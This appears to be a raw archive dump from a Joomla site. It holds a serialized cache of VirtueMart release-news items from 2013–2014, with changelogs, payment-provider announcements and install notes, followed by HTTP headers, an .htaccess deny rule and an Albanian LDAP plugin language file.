      - Added check in cart to get cart variant if not in productdetails form
      - Added login for ask a question, recommend a product
      - added multiple products for add to cart popup
      - added cleaning of cache if config is stored
      - added recaptcha for registration and ask a question/recommened to a friend
      - Proper use of MyISAM and InnoDB according to its intended use.

      Bugfixes:

      - paypal response fixes
      - Paypal Amount displayed in payment currency
      - klarnacheckout live URI fix
      - authorize: error message fix when invalid date

      - removed stupid block which prevent managers to enter the BE (the "you are not vendor of the store problem")
      - old ACL of vm is completly removed, proxy functions are still there, but using joomla authorization internally

      - changed some more JText to vmText to prevent cutted description of customfields
      - Fixed ordering of customfields
      - changed slug filter, creates nicer slugs
      - weight and length units should now be correctly displayed (and stored) for childs
      - added deletion of customfields if a protocustom is deleted.
      - Customfields values can be an array (multiple input)
      - Userfields select list with size

      - changed all xhtml to false, except for pdf creation
      - Fallback for using tcpdf 6 with vm2.0

      - added a fix, so that shoppergroups can be easier manipulated by session
      - Pagination uses $limitStart = JRequest::getInt ('limitstart', 0); if you change the category/manufacturer
      - coupon expiry date fix
      - plgVmOnUserfieldDisplay userId fallback
      - fix for double optin
      - small enhances for calculator makes it possible to use the variant prices better within rules
      - fixed country/state dropdown

      - Cart controller now uses fallback to set the shipment/payment id of the cart in case the Request is empty
      - one form for the cart, found BC solution
      - fixed problem with TOS and agreed default set to 1
      - fixed auto login if registering in checkout

      - reviews emails: not sending an email when the review has not been saved.
      - a lot of minors, little fallbacks, small completions, added a missing returns, added initializing of a variable ....
      - replaced deprecated key_exists by array_key_exists

      Download

      Download VirtueMart now!

      VirtueMart is a powerful free ecommerce component for Joomla!®. Easy to use for beginners and experts, it offers thousands of built in features to create your store professionally in some minutes.

      VirtueMart 2.6.4 is the latest stable version available. It is compatible with Joomla! 2.5.

      How to start

      You are new to Joomla and VirtueMart or you don't have Joomla already installed? we recommend to download the Full installer:

      1. Unzip the downloaded archive
      2. Move the unzipped archive to your web folder
      3. Open your browser and and enter the URL of you website
      4. The installation process starts. Follow the instructions.

      You already have Joomla installed ? Download VirtueMart component (core and AIO)

      1. Unzip the downloaded archive
      2. Install first the VirtueMart core component via the Joomla installer (com_virtuemart.w.x.y.zip)
      3. Install the VirtueMart AIO component. It contains VirtueMart plugins and modules (com_virtuemart_ext_aio.w.x.y.zip)

      More detailed instructions can be found here: installation instructions.

      You need more help? Visit our forum section about Installation, Migration & Upgrade VM 2.

      Features

      VirtueMart includes natively a very important list of features such as:

      • Complex product easily created
      • Easy Store Management
      • Powerful SEO features
      • Marketing and promotions tools included
      • Numerous payment providers integrated

      Discover all the features, and try our demo.

      Requirements

      VirtueMart has the same requirements as joomla.
      However, we recommend those technical options:
      php 5.3+ and mysql5.5, php settings: 128 MB RAM (at least 64 MB for the pdf invoices).

      Hosting

      Hosting is an important part of the success of your business. VirtueMart has selected some hosts companies for their performance specialized in hosting VirtueMart shops:

      a2 hosting logo High performance VirtueMart Hosting featuring 300% faster hosting than the competition on our SwiftServer SSDs! A2 Hosting is even a Global Joomla Sponsor and their 24/7 Guru Crew Support team will install VirtueMart for you!(More about A2 hosting)

       

      thumb 1 Joomla! Software as a Service - Application and Hosting Support all in One Package. We specialize in Joomla! hosting and support. (More about Cloudaccess)

       

      thumb joomla100.com Unser Shop-Paket ist ideal für Website-Betreiber, die im Internet einen Shop betreiben oder ihren Besuchern einen Katalog mit Produkten präsentieren möchten. In dieses Paket haben wir für Sie den VirtueMart Webshop mit Joomla 2.5 und VM 2.0 (inkl. kostenlosem Template eines VirtueMart-Entwicklers) integriert. (More about Joomla100.com)

       

       

      ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:6:"author";a:1:{i:0;a:5:{s:4:"data";s:26:"milbo@gmx.de (Max Milbers)";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"category";a:1:{i:0;a:5:{s:4:"data";s:11:"Latest News";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 07 Apr 2014 21:39:02 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:3;a:6:{s:4:"data";s:31:" ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:7:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:58:"Second birthday of VirtueMart 2.x, AvaTax holiday special ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:99:"http://virtuemart.net/news/latest-news/453-second-birthday-of-virtuemart-2-x-avatax-holiday-special";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:99:"http://virtuemart.net/news/latest-news/453-second-birthday-of-virtuemart-2-x-avatax-holiday-special";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:4:"true";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2877:"

      VirtueMart is 2! Happy Anniversary!

      Happy Birthday VirtueMart

      The team is very happy to announce the second birthday of VirtueMart 2.

      Within the two last years more than 1.5 million downloads have been made. Each release included massive improvements with constant and steady development. We are happy to know that the vm2 ecosystem is running well and there are so many extensions that adds value to VirtueMart, like payment and shipment systems, SEM, product builder and so much more.

      VirtueMart 2.2 is on the way and we have reached already at least one milestone of the roadmap. We pay a lot attention on getting a more robust and compatible code. The changes are often not visible and just noticeable by developers working with it. Our goals for next year:

      • Enhanced customfields (already developed, needs to be tested)
      • enhanced cart (less code, more secure, easier to extend, more flexible, simpler OPCs)
      • joomla 3 compatibility (added vmText, vmRequest, vmCheckToken, ...)
      • jquery 1.8 (same as j3 uses)
      • better encapsulated js
      • fine grained rights management using the joomla ACL (Access Control List)
      • JformFields for payment/shipment plugins

      Read more about our roadmap.

      Our sales tax automation extension Avatax is offering 50% off activation fees for the holidays.

      The end of the year is fast approaching. Businesses are looking for ways to continue to streamline and improve daily operations into 2014. If you, respectively your customers are still managing sales tax compliance manually what better New Year’s resolution than to automate sales tax!

      With the craziness and extra spending that the holidays bring why not take advantage of our offer for you, 50% off activation for agreements signed by December 31.

      Avatax holiday savings offer

      Bugfixes:

      • Removed bug which allowed with trick to use a coupon twice
      • Gift coupon are deleted upon a order status
      • Send an email to vendor when submitting a review
      • Fixed disabling of TOS fixed
      • Default country, does not directly confirm checkout
      • Quick fix to vendor edit permissions to get them working
      • PayPal Express Checkout order link fixed
      • Obsolete usergroups files removed

      Download VirtueMart 2.0.26a

      ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:6:"author";a:1:{i:0;a:5:{s:4:"data";s:26:"milbo@gmx.de (Max Milbers)";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"category";a:1:{i:0;a:5:{s:4:"data";s:11:"Latest News";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 19 Dec 2013 22:10:46 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:4;a:6:{s:4:"data";s:31:" ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:7:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:86:"VirtueMart 2.0.26 includes PayPal Express Checkout, PayPal Pro and PayPal Pro (Hosted)";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:126:"http://virtuemart.net/news/latest-news/452-virtuemart-2-0-26-includes-paypal-express-checkout-paypal-pro-and-paypal-pro-hosted";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:126:"http://virtuemart.net/news/latest-news/452-virtuemart-2-0-26-includes-paypal-express-checkout-paypal-pro-and-paypal-pro-hosted";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:4:"true";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:5204:"
      paypal-logoWe are pleased to announce that PayPal Express Checkout, PayPal Pro and PayPal Pro (Hosted) are now available through VirtueMart’s ecommerce solution.
       

      PayPal Express Checkout

      If you already accept credit cards online, you can decrease shopping cart abandonment and boost sales by adding the PayPal Express Checkout button to your site. It complements your existing payments solution and can open the door to over 137 million active PayPal accounts* who look for and use this fast, easy, and secure way to pay.

      * Active accounts are those that have had activity in the past 12 months. (Source: PayPal Q313 Fast Facts)

      PayPal Pro

      PayPal Pro is an all-in-one payment solution that enables you to control your customers’ checkout experience from start to finish. It comes pre-integrated with your VirtueMart store, so is easy to switch on through the VirtueMart admininistration area.

      Once you’ve opened your Pro account with PayPal you could be up and running in no time and enjoying all of its features including:

      • More ways to get paid– accept major debit, credit card and PayPal payments directly on your website and by phone.
      • Greater control – Pro gives you a merchant and gateway account in one, enabling you to manage your transactions through a single relationship.
      • Easy to switch – Pro comes pre-integrated with VirtueMart and your Pro account could be set up within a week.
      • No hidden costs – you pay a fixed monthly fee, plus a small transaction fee every time you get paid.
      • Dedicated local business support – help is just a phone call away.
      • Advanced security – Pro comes with advanced fraud and security features and is PCI compliant (Hosted version).

      Learn More About PayPal Pro

      Sign up to a PayPal Pro account

      VirtueMart 2.0.26: New features and fixed bugs

      • Enhancement for semi one page checkout. The cart view is now almost a whole form, so the whole construction is more congruent.
      • Changed validateUserData gives back -1 if only filled with default values 
      • Fixed router for orderby
      • Fix for calculation vat and tax rules for shipment/payment
      • Added config gui for default delivery date
      • Added in checkFilterOrder fix for empty parameter
      • Fixed getNeighborProducts using sortSearchListQuery query. should now work correctly for most types of ordering.
      • Fixed ordering for products
      • Fixed router for SEF for ordering of products
      • The customer number is a bit shorter and nicer
      • Fixed css classes in standard payment plugin
      • Paypal: better error logs
      • Paypal IPN more secure validation
      • IPN validation checks for magicquote, and stripslashes is removed from IPN response
      • Fixed mediahandler, images are correctly deleted if a replace is done
      • Mediahandler shows only useful actions
      • Title in emails is translated
      • Fixed typo in "order confirmation layout"
      • Added vmText to customfields variant tooltip
      • Filterlist in custom prototypes shows now only groups
      • Show customfield title only if its selected in BE configuration
      • Cleaned old sprites, reduced zip installer below 2 MB
      • Small changes in the BE gui of user, removed unecesary table in vendor tab and reduced size of the textareas
      • Memorylimit for invoices/mails is now set to 96MB
      • Small fix in setLoggableFieldsForStore
      • Fix for internal product cache, key has more variables and is converting booleans to 0 and 1, to get always a proper key
      • Fix in model product.php for prooper ordering of the category view using a manufacturer_id without category_id
      • Fix in vmmodel.php to prevent the error "Warning: strpos() [function.strpos]: Empty needle in .../vmmodel.php on line 213"
      • Fixed typo in getProducts (maxLimit was not working for getProductSingle
      • Added fix for styles to the NoImageFound list
      • Added some require for shopfunctionsf.php, seems that some 3rd party needs it
      • Multivendor fix, sometimes admins couldnt change vendor
      • All VM errors are logged
      • Heidelpay: switch on sepa for direct debit. You can now use IBan and Bic, instead of account and bank no.

      Download VirtueMart 2.0.26

      ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:6:"author";a:1:{i:0;a:5:{s:4:"data";s:41:"valerie@virtuemart.net (Valérie Isaksen)";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"category";a:1:{i:0;a:5:{s:4:"data";s:11:"Latest News";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 13 Dec 2013 16:34:41 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:5;a:6:{s:4:"data";s:31:" ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:7:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:43:"VirtueMart 2.0.24a includes Klarna Checkout";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:86:"http://virtuemart.net/news/latest-news/450-virtuemart-2-0-24a-includes-klarna-checkout";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:86:"http://virtuemart.net/news/latest-news/450-virtuemart-2-0-24a-includes-klarna-checkout";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:4:"true";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1077:"

      Klarna Checkout is available for VirtueMart

      We are proud to announce that effective today, Klarna Checkout is available for VirtueMart!

      Klarna Checkout

      Klarna Checkout is the revolutionary payment solution that changes the way the world shops online. With Klarna Checkout, you can offer your customers all the popular payment methods in one payment solution. Ingeniously simple and friction free. Klarna Checkout is today available for Sweden, Norway and Finland.

      Read More...

      ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:6:"author";a:1:{i:0;a:5:{s:4:"data";s:41:"valerie@virtuemart.net (Valérie Isaksen)";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"category";a:1:{i:0;a:5:{s:4:"data";s:11:"Latest News";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 15 Nov 2013 17:14:56 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:6;a:6:{s:4:"data";s:31:" ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:7:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:56:"VirtueMart 2.0.24 is available - includes SOFORT Banking";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:97:"http://virtuemart.net/news/latest-news/449-virtuemart-2-0-24-is-available-includes-sofort-banking";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:97:"http://virtuemart.net/news/latest-news/449-virtuemart-2-0-24-is-available-includes-sofort-banking";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:4:"true";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1672:"

      New Release VirtueMart 2.0.24

      This release is introducing SOFORT Banking, a popular payment solution in 10 european countries. We also integrated some bug fixes again, see the list below.

      SOFORT Banking: The attractive payment method for you

      Your customers simply pay in your online shop just as they are used to: by entering their familiar online banking login details and confirmation codes ensuring a maximum level of security. You will receive a real-time transaction confirmation immediately after the transfer has been listed.

      Sofort BankingSOFORT Banking is a direct payment system and works like an automated advanced payment (by bank transfer) within seconds.

      When shopping online, your customer selects SOFORT Banking as a payment method. Then, your customer selects his/her country and enters the bank sort code into a securely encrypted payment wizard. Afterwards, the customer enters his/her online banking login details and confirms the credit transfer by entering a confirmation code.

      Your benefit: You will receive a real-time transaction confirmation that a transfer has been listed.

      Read More...

      ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:6:"author";a:1:{i:0;a:5:{s:4:"data";s:26:"milbo@gmx.de (Max Milbers)";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"category";a:1:{i:0;a:5:{s:4:"data";s:11:"Latest News";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 01 Oct 2013 15:55:17 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:7;a:6:{s:4:"data";s:31:" ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:7:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:56:"Important Security Release, VM-Team at joomladay germany";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:98:"http://virtuemart.net/news/latest-news/446-important-security-release-vm-team-at-joomladay-germany";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:98:"http://virtuemart.net/news/latest-news/446-important-security-release-vm-team-at-joomladay-germany";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:4:"true";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:591:"

      After the previous security update some people commented that we should provide more information about the security leaks. Usually if the problem is within the core files, we follow security by obscurity, which means we do not exactly explain where to find the exploit. But the latest possible sql injection is in fact a matter of the template. So this time we will explain exactly what happened.

      Read More...

      ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:6:"author";a:1:{i:0;a:5:{s:4:"data";s:26:"milbo@gmx.de (Max Milbers)";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"category";a:1:{i:0;a:5:{s:4:"data";s:11:"Latest News";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 03 Sep 2013 17:49:46 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:8;a:6:{s:4:"data";s:31:" ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:7:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:35:"VirtueMart2Go and important updates";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:78:"http://virtuemart.net/news/latest-news/445-virtuemart2go-and-important-updates";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:78:"http://virtuemart.net/news/latest-news/445-virtuemart2go-and-important-updates";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:4:"true";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:960:"

      VirtueMart2Go

      VirtueMart in partnership with Stratus5, is pleased to announce VirtueMart2Go a cloud-based E-Commerce Solution that is now available to our customers as a ready-to-use On-demand service. VirtueMart2Go combines the leading content management system, Joomla and our popular VirtueMart eCommerce software as a pre-integrated, customer-ready cloud offering.

      VirtueMart2Go, as its name implies- is a ready-to-go solution that you can use to instantly launch and operate your E-Commerce site. You don't need to invest in expensive hardware, software or labor to download, install, implement or maintain a solution. All you need to do is register on our website and start using VirtueMart2Go to launch your E-Commerce website in just minutes!

      Read More...

      ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:6:"author";a:1:{i:0;a:5:{s:4:"data";s:26:"milbo@gmx.de (Max Milbers)";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"category";a:1:{i:0;a:5:{s:4:"data";s:11:"Latest News";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 20 Aug 2013 22:56:37 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:9;a:6:{s:4:"data";s:31:" ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:7:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:52:"Certification for VirtueMart, next seminar in Sweden";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:66:"http://virtuemart.net/news/latest-news/443-certification-in-sweden";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:66:"http://virtuemart.net/news/latest-news/443-certification-in-sweden";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:4:"true";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:813:"

      Certification - What is the idea behind

      The idea behind VirtueMart is that a lot people participate in the project. This means that there are a lot 3rd party developers and webagencies using VirtueMart. But the disadvantage of this system compared to a unified trademark policy is that a also not qualified people offer their service. This leads to frustrated customers who often payed high prices for crappy templates (deleting virtuemart standard views completly) or completly misuse of the tax settings and so on. We add more and more documentation on docs.virtuemart.net, help is very welcome, but documentation won't solve the problem.

      Read More...

      ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:6:"author";a:1:{i:0;a:5:{s:4:"data";s:26:"milbo@gmx.de (Max Milbers)";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"category";a:1:{i:0;a:5:{s:4:"data";s:11:"Latest News";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 16 Jul 2013 00:21:22 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}}}s:27:"http://www.w3.org/2005/Atom";a:1:{s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:0:"";s:7:"attribs";a:1:{s:0:"";a:3:{s:3:"rel";s:4:"self";s:4:"type";s:19:"application/rss+xml";s:4:"href";s:61:"http://virtuemart.net/news/list-all-news?format=feed&type=rss";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}}}}}}}}s:4:"type";i:128;s:7:"headers";a:10:{s:4:"date";s:29:"Mon, 26 May 2014 14:21:59 GMT";s:6:"server";s:6:"Apache";s:3:"p3p";s:48:"CP=NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM";s:13:"cache-control";s:8:"no-cache";s:6:"pragma";s:8:"no-cache";s:10:"set-cookie";s:77:"9e647fd8d51d540064a09a04d5bcd417=qdqjqm1gjat533h6o63ghpon96; path=/; HttpOnly";s:4:"vary";s:15:"Accept-Encoding";s:16:"content-encoding";s:4:"gzip";s:14:"content-length";s:5:"13140";s:12:"content-type";s:34:"application/rss+xml; charset=utf-8";}s:5:"build";s:14:"20090627192103";}PK@y>\][cache/daily.xmlnuW+A Reference rates European Central Bank PK@y>\) .htaccessnuW+A Order allow,deny Deny from all PK@y>\`1 1 0language/sq-AL/sq-AL.plg_authentication_ldap.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_AUTHENTICATION_LDAP="Authentication - LDAP" PLG_LDAP_FIELD_AUTHMETHOD_DESC="Metoda e autorizimit me vërtetue kredencialet" PLG_LDAP_FIELD_AUTHMETHOD_LABEL="Metoda e autorizimit" PLG_LDAP_FIELD_BASEDN_DESC="The base DN of your LDAP server, e.g o=mydomain.com" PLG_LDAP_FIELD_BASEDN_LABEL="DN bazë" PLG_LDAP_FIELD_EMAIL_DESC="LDAP Attribute which contains the User's email address" PLG_LDAP_FIELD_EMAIL_LABEL="Map: email" PLG_LDAP_FIELD_FULLNAME_DESC="Atributi LDAP i cili ka emnin e plotë të përdoruesve" PLG_LDAP_FIELD_FULLNAME_LABEL="Harta: emni i plotë" PLG_LDAP_FIELD_HOST_DESC="Për shembull, openldap.gegnia.com" PLG_LDAP_FIELD_HOST_LABEL="Hosti" PLG_LDAP_FIELD_NEGOCIATE_DESC="Negoegocio enkriptimin TLS me serverin LDAP. Kjo kërkon që krejt trafiku nga dhe prej serverit LDAP të jetë i enkriptuem." PLG_LDAP_FIELD_NEGOCIATE_LABEL="Negocio TLS" PLG_LDAP_FIELD_PASSWORD_DESC="Fjalkalimi i lidhjes asht fjalkalimi i nji llogarie administrative. Kjo përdoret në metodën autentifikim e lidh si dhe në autentifikimin e krahasuem" PLG_LDAP_FIELD_PASSWORD_LABEL="Fjalkalimi i lidhjes" PLG_LDAP_FIELD_PORT_DESC="Porta normale asht 389" PLG_LDAP_FIELD_PORT_LABEL="Porta" PLG_LDAP_FIELD_REFERRALS_DESC="Ky opsion përcakton vlerën e flamurit LDAP_OPT_REFERRALS. Ka me t'u dashtë me e kontrollue për serverat Windows 2003." PLG_LDAP_FIELD_REFERRALS_LABEL="Referuesit pasues" PLG_LDAP_FIELD_SEARCHSTRING_DESC="A query string used for search for a given User. The [search] keyword is dynamically replaced by the User-provided login. An example string is: uid=[search]. Several strings can be used separated by semi-colons. Only used when searching." PLG_LDAP_FIELD_SEARCHSTRING_LABEL="Rreshti i kërkimit" PLG_LDAP_FIELD_UID_DESC="Atributi LDAP që ka ID-në e hymjes së përdoruesve. Për direktorinë aktivve kjo asht sAMEmniLlogarisë" PLG_LDAP_FIELD_UID_LABEL="Harta: ID i përdoruesit" PLG_LDAP_FIELD_USERNAME_DESC="Pseudonimi dhe fjalkalimi i lidhjes përcaktojnë parametrat e lidhjes për fazën e kqyrjes së DN-së. 2 opsione ka:- kqyrje anonime DN. Leni të dyja fushat bosh.- Lidhje administrative: pseudonimi i lidhjes asht pseudonimi i nji llogarie administrative, për shembull administratori. Fjalkalimi i lidhjes asht fjalkalimi aktual i llogarisë tande administrative." PLG_LDAP_FIELD_USERNAME_LABEL="Pseudonimi i lidhjes" PLG_LDAP_FIELD_USERSDN_DESC="The [username] keyword is dynamically replaced by the User-provided login. An example string is: uid=[username], dc=my-domain, dc=com. Several strings can be used, separated by semi-colons. Only used for direct binds." 